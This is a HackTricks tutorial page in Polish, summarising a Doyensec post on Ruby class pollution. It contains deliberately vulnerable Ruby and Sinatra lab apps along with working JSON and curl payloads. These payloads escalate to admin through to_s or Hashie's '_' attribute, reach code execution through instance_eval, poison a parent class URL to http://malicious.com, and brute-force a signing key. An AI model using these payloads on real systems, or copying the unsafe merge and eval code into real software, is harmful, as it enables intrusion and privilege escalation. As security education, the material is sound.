Ruby Class Pollution

Reading time: 8 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

To jest podsumowanie z posta https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html

Merge on Attributes

Przykład:

ruby
# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
# Comments added to exploit the merge on attributes
require 'json'


# Base class for both Admin and Regular users
class Person

attr_accessor :name, :age, :details

def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end

# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end

# Authorize based on the `to_s` method result
def authorize
if to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end

# Health check that executes all protected methods using `instance_eval`
def health_check
protected_methods().each do |method|
instance_eval(method.to_s)
end
end

private

# VULNERABLE FUNCTION that can be abused to merge attributes
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|

if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end

protected

def check_cpu
puts "CPU check passed."
end

def check_memory
puts "Memory check passed."
end
end

# Admin class inherits from Person
class Admin < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end

def to_s
"Admin"
end
end

# Regular user class inherits from Person
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end

def to_s
"User"
end
end

class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)

# Instantiate a regular user
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)


# Perform a recursive merge, which could override methods
user.merge_with(additional_object)

# Authorize the user (privilege escalation vulnerability)
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize

# Execute health check (RCE vulnerability)
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.health_check

end
end

if ARGV.length != 1
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
exit
end

json_input = ARGV[0]
JSONMergerApp.run(json_input)

Wyjaśnienie

  1. Escalacja uprawnień: Metoda authorize sprawdza, czy to_s zwraca "Admin." Poprzez wstrzyknięcie nowego atrybutu to_s za pomocą JSON, atakujący może sprawić, że metoda to_s zwróci "Admin", przyznając nieautoryzowane uprawnienia.
  2. Zdalne wykonanie kodu: W health_check, instance_eval wykonuje metody wymienione w protected_methods. Jeśli atakujący wstrzyknie niestandardowe nazwy metod (jak "puts 1"), instance_eval je wykona, prowadząc do zdalnego wykonania kodu (RCE).
  3. To jest możliwe tylko dlatego, że istnieje wrażliwa instrukcja eval wykonująca wartość stringową tego atrybutu.
  4. Ograniczenie wpływu: Ta luka bezpieczeństwa dotyczy tylko pojedynczych instancji, pozostawiając inne instancje User i Admin nietknięte, co ogranicza zakres eksploatacji.

Przykłady z rzeczywistego świata

deep_merge ActiveSupport

To nie jest wrażliwe domyślnie, ale może być uczynione wrażliwym w przypadku czegoś takiego:

ruby
# Method to merge additional data into the object using ActiveSupport deep_merge
def merge_with(other_object)
merged_hash = to_h.deep_merge(other_object)

merged_hash.each do |key, value|
self.class.attr_accessor key
instance_variable_set("@#{key}", value)
end

self
end

Hashie’s deep_merge

Metoda deep_merge Hashie działa bezpośrednio na atrybutach obiektów, a nie na zwykłych haszach. Zapobiega zastępowaniu metod atrybutami podczas łączenia z pewnymi wyjątkami: atrybuty kończące się na _, ! lub ? mogą nadal być łączone z obiektem.

Szczególnym przypadkiem jest atrybut _ sam w sobie. Tylko _ jest atrybutem, który zazwyczaj zwraca obiekt Mash. I ponieważ jest częścią wyjątków, możliwe jest jego modyfikowanie.

Sprawdź poniższy przykład, jak przekazując {"_": "Admin"}, można obejść _.to_s == "Admin":

ruby
require 'json'
require 'hashie'

# Base class for both Admin and Regular users
class Person < Hashie::Mash

# Method to merge additional data into the object using hashie
def merge_with(other_object)
deep_merge!(other_object)
self
end

# Authorize based on to_s
def authorize
if _.to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end

end

# Admin class inherits from Person
class Admin < Person
def to_s
"Admin"
end
end

# Regular user class inherits from Person
class User < Person
def to_s
"User"
end
end

class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)

# Instantiate a regular user
user = User.new({
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
})

# Perform a deep merge, which could override methods
user.merge_with(additional_object)

# Authorize the user (privilege escalation vulnerability)
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
end
end

if ARGV.length != 1
puts "Usage: ruby hashie.rb 'JSON_STRING'"
exit
end

json_input = ARGV[0]
JSONMergerApp.run(json_input)

Zatrucie klas

W następującym przykładzie możliwe jest znalezienie klasy Person, oraz klas Admin i Regular, które dziedziczą po klasie Person. Posiada również inną klasę o nazwie KeySigner:

ruby
require 'json'
require 'sinatra/base'
require 'net/http'

# Base class for both Admin and Regular users
class Person
@@url = "http://default-url.com"

attr_accessor :name, :age, :details

def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end

def self.url
@@url
end

# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end

private

# Recursive merge to modify instance variables
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
end

class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
end

# A class created to simulate signing with a key, to be infected with the third gadget
class KeySigner
@@signing_key = "default-signing-key"

def self.signing_key
@@signing_key
end

def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
end

class JSONMergerApp < Sinatra::Base
# POST /merge - Infects class variables using JSON input
post '/merge' do
content_type :json
json_input = JSON.parse(request.body.read)

user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)

user.merge_with(json_input)

{ status: 'merged' }.to_json
end

# GET /launch-curl-command - Activates the first gadget
get '/launch-curl-command' do
content_type :json

# This gadget makes an HTTP request to the URL stored in the User class
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
else
{ status: 'Failed to access URL variable' }.to_json
end
end

# Curl command to infect User class URL:
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge

# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
get '/sign_with_subclass_key' do
content_type :json

# This gadget signs data using the signing key stored in KeySigner class
signer = KeySigner.new
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")

{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
end

# Curl command to infect KeySigner signing key (run in a loop until successful):
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done

# GET /check-infected-vars - Check if all variables have been infected
get '/check-infected-vars' do
content_type :json

{
user_url: Person.url,
signing_key: KeySigner.signing_key
}.to_json
end

run! if app_file == $0
end

Zatruta Klasa Rodzic

Z tym ładunkiem:

bash
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge

Możliwe jest modyfikowanie wartości atrybutu @@url klasy nadrzędnej Person.

Zatrucie Innych Klas

Z tym ładunkiem:

bash
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done

Możliwe jest przeprowadzenie ataku brute-force na zdefiniowane klasy i w pewnym momencie zanieczyścić klasę KeySigner, modyfikując wartość signing_key na injected-signing-key.

References

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks